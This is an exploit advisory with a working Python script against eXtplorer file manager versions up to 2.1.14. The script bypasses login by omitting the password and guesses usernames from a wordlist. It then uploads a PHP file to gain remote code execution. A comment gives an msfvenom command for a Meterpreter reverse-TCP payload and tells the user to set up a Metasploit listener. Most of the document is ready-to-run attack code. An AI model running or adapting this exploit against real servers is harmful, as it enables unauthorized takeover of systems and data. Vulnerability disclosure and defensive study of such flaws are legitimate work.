# Exploit Title: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE)
# Exploit Author: ErPaciocco
# Author Website: https://erpaciocco.github.io
# Vendor Homepage: https://extplorer.net/
#
# Vendor:
# ==============
# extplorer.net
#
# Product:
# ==================
# eXtplorer <= v2.1.14
#
# eXtplorer is a PHP and Javascript-based File Manager, it allows to browse
# directories, edit, copy, move, delete,
# search, upload and download files, create & extract archives, create new
# files and directories, change file
# permissions (chmod) and more. It is often used as FTP extension for popular
# applications like Joomla.
#
# Vulnerability Type:
# ======================
# Authentication Bypass (& Remote Command Execution)
#
#
# Vulnerability Details:
# =====================
#
# eXtplorer authentication mechanism allows an attacker
# to login into the Admin Panel without knowing the password
# of the victim, but only its username. This vector is exploited
# by not supplying password in POST request.
#
#
# Tested on Windows
#
#
# Reproduction steps:
# ==================
#
# 1) Navigate to Login Panel
# 2) Intercept authentication POST request to /index.php
# 3) Remove 'password' field
# 4) Send it and enjoy!
#
#
# Exploit code(s):
# ===============
#
# Run below PY script from CLI...
#
# [eXtplorer_auth_bypass.py]
#
# Proof Of Concept
try:
import requests
except:
print(f"ERROR: RUN: pip install requests")
exit()
import sys
import time
import urllib.parse
import re
import random
import string
import socket
import time
import base64
TARGET = None
WORDLIST = None
_BUILTIN_WL = [
'root',
'admin',
'test',
'guest',
'info',
'adm',
'user',
'administrator'
]
_HOST = None
_PATH = None
_SESSION = None
_HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive' }
def detect():
global _HOST
global _PATH
global _SESSION
global _HEADERS
_HOST = TARGET[0].split(':')[0] + '://' + TARGET[0].split('/')[2]
_PATH = '/'.join(TARGET[0].split('/')[3:]).rstrip('/')
_SESSION = requests.Session()
raw = _SESSION.get(f"{_HOST}/{_PATH}/extplorer.xml", headers=_HEADERS, verify=False)
if raw.status_code == 200:
ver = re.findall("<version>(((\d+)\.?)+)<\/version>", raw.text, re.MULTILINE)
if int(ver[0][2]) < 15:
return True
return False
def auth_bypass():
global _HOST
global _PATH
global _SESSION
global _HEADERS
global WORDLIST
global _BUILTIN_WL
_HEADERS['X-Requested-With'] = 'XMLHttpRequest'
params = {'option': 'com_extplorer',
'action': 'login',
'type': 'extplorer',
'username': 'admin',
'lang':'english'}
if WORDLIST != None:
if WORDLIST == _BUILTIN_WL:
info(f"Attempting to guess an username from builtin wordlist")
wl = _BUILTIN_WL
else:
info(f"Attempting to guess an username from wordlist: {WORDLIST[0]}")
with open(WORDLIST[0], "r") as f:
wl = f.read().split('\n')
for user in wl:
params = {'option': 'com_extplorer',
'action': 'login',
'type': 'extplorer',
'username': user,
'lang':'english'}
info(f"Trying with {user}")
res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)
if "successful" in res.text:
return (user)
else:
res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False)
if "successful" in res.text:
return ('admin')
return False
def rce():
global _HOST
global _PATH
global _SESSION
global _HEADERS
global _PAYLOAD
tokenReq = _SESSION.get(f"{_HOST}/{_PATH}/index.php?option=com_extplorer&action=include_javascript&file=functions.js")
token = re.findall("token:\s\"([a-f0-9]{32})\"", tokenReq.text)[0]
info(f"CSRF Token obtained: {token}")
payload = editPayload()
info(f"Payload edited to fit local parameters")
params = {'option': 'com_extplorer',
'action': 'upload',
'dir': f"./{_PATH}",
'requestType': 'xmlhttprequest',
'confirm':'true',
'token': token}
name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
files = {'userfile[0]':(f"{name}.php", payload)}
req = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, files=files, verify=False)
if "successful" in req.text:
info(f"File {name}.php uploaded in root dir")
info(f"Now set a (metasploit) listener and go to: {_HOST}/{_PATH}/{name}.php")
def attack():
if not TARGET:
error("TARGET needed")
if TARGET:
if not detect():
error("eXtplorer vulnerable instance not found!")
exit(1)
else:
info("eXtplorer endpoint is vulnerable!")
username = auth_bypass()
if username:
info("Auth bypassed!")
rce()
else:
error("Username 'admin' not found")
def error(message):
print(f"[E] {message}")
def info(message):
print(f"[I] {message}")
def editPayload():
# You can generate payload with msfvenom and paste below base64 encoded result
# msfvenom -p php/meterpreter_reverse_tcp LHOST=<yourIP> LPORT=<yourPORT> -f base64
return base64.b64decode("PD9waHAgZWNobyAiSEFDS0VEISI7ICA/Pg==")
def help():
print(r"""eXtplorer <= 2.1.14 exploit - Authentication Bypass & Remote Code Execution
Usage:
python3 eXtplorer_auth_bypass.py -t <target-host> [-w <userlist>] [-wb]
Options:
-tTarget host. Provide target IP address (and optionally port).
-wWordlist for user enumeration and authentication (Optional)
-wb Use built-in wordlist for user enumeration (Optional)
-hShow this help menu.
""")
return True
args = {"t" : (1, lambda *x: (globals().update(TARGET = x[0]))),
"w" : (1, lambda *x: (globals().update(WORDLIST = x[0]))),
"wb": (0, lambda *x: (globals().update(WORDLIST = _BUILTIN_WL))),
"h" : (0, lambda *x: (help() and exit(0)))}
if __name__ == "__main__":
i = 1
[
args[ arg[1:]][1](sys.argv[i+1: (i:=i+1+args[arg[1:]][0]) ])
for arg in [k
for k in sys.argv[i:]
]
if arg[0] == '-'
]
attack()
else:
help()
# ///////////////////////////////////////////////////////////////////////
# [Script examples]
#
#
# c:\>python eXtplorer_auth_bypass.py -t https://target.com
# c:\>python eXtplorer_auth_bypass.py -t http://target.com:1234 -w wordlist.txt
# c:\>python eXtplorer_auth_bypass.py -t http://target.com -wb
# Exploitation Method:
# ======================
# Remote
# [+] Disclaimer
# The information contained within this advisory is supplied "as-is" with no
# warranties or guarantees of fitness of use or otherwise.
# Permission is hereby granted for the redistribution of this advisory,
# provided that it is not altered except by reformatting it, and
# that due credit is given. Permission is explicitly given for insertion in
# vulnerability databases and similar, provided that due credit
# is given to the author. The author is not responsible for any misuse of the
# information contained herein and accepts no responsibility
# for any damage caused by the use or misuse of this information.